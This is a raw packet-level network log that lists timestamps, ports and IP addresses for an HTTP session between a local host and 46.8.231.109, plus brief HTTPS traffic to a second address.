Oct 7, 2024 19:33:20.884125948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884130955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884130955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884135962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884146929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884150982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884160042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884171009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884181976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884192944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884197950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884197950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884206057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884217024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884219885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884231091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884242058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884248018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884253025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884265900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884275913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884283066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884283066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884287119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884299994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884316921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884325981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884330034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884339094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884350061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884362936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884365082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884365082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884381056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884408951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884594917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884612083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884622097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884633064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884643078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884645939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884654999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884665012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884673119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884681940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884692907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884694099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884692907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884708881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884718895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884723902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884730101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884740114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884747028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884747028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884751081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884763002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884773970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884783030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884785891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884797096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884808064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884813070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884813070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884819031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884830952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884841919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884852886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884860039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884860039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884876966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884948969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966681004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966753006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966764927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966818094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966829062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966840982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966854095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966854095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966854095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966854095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966890097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966890097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966890097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966898918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966945887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966958046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966969013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966980934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966991901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.966999054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.966999054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967006922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967025042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967025042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967031002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967044115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967056990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967078924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967078924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967086077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967098951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967109919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967127085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967133045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967133045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967133045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967139959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967154026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967165947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967196941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967196941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967196941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967196941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967206955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967341900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967354059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967365980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967376947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967397928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967400074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967397928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967412949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967427015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967433929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967437029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967444897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967463970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967473030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967477083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967489004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967499018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967499018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967503071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967511892 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967514992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967524052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967530966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967562914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967562914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967597961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967622042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967663050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967771053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967782021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967793941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967806101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967818022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967833042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967839956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967839956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967864037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967875004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967880011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967885017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967895985 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967895985 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967900991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967912912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967925072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967930079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967955112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967966080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967968941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967968941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.967979908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.967993975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968022108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968022108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968048096 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968086004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968097925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968107939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968118906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968132019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968142986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968146086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968146086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968170881 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968215942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968228102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968239069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968250036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968256950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968256950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968266010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968283892 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968310118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968317986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968317986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968328953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968341112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968353987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968383074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968383074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968393087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968405008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968416929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968427896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968440056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968456030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968456030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968489885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968501091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968512058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968522072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968528032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968528032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968556881 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968610048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968616009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968626976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968637943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968648911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968648911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968667984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968667984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968681097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968692064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968693018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968705893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968718052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968745947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968745947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968776941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968780041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968794107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968805075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968816996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968828917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968838930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968838930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968873024 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968888998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968900919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968914032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.968955994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.968955994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969008923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969019890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969031096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969043016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969050884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969053984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969067097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969078064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969090939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969093084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969093084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969103098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969116926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969131947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969132900 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969187021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969331026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969342947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969366074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969377041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969388008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969398022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969407082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969407082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969410896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969422102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969424009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969434977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969445944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969459057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969468117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969472885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969472885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969481945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969494104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.969516993 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969516993 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.969532967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.999599934 CEST	443	49767	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.000111103 CEST	49767	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.000123978 CEST	443	49767	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.000698090 CEST	49767	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.000713110 CEST	443	49767	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.051405907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051496983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051496029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051510096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051523924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051536083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051544905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051553965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051554918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051568031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051582098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051592112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051605940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051639080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051639080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051673889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051685095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051690102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051695108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051701069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.051757097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.051959038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052007914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052033901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052052021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052063942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052090883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052092075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052138090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052145958 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052150011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052160978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052172899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052184105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052184105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052206039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052345991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052381039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052472115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052481890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052486897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052493095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052505970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052516937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052525997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052527905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052572966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052572966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.052649021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052722931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.052733898 CEST	80	49718	46.8.231.109	192.168.2.7
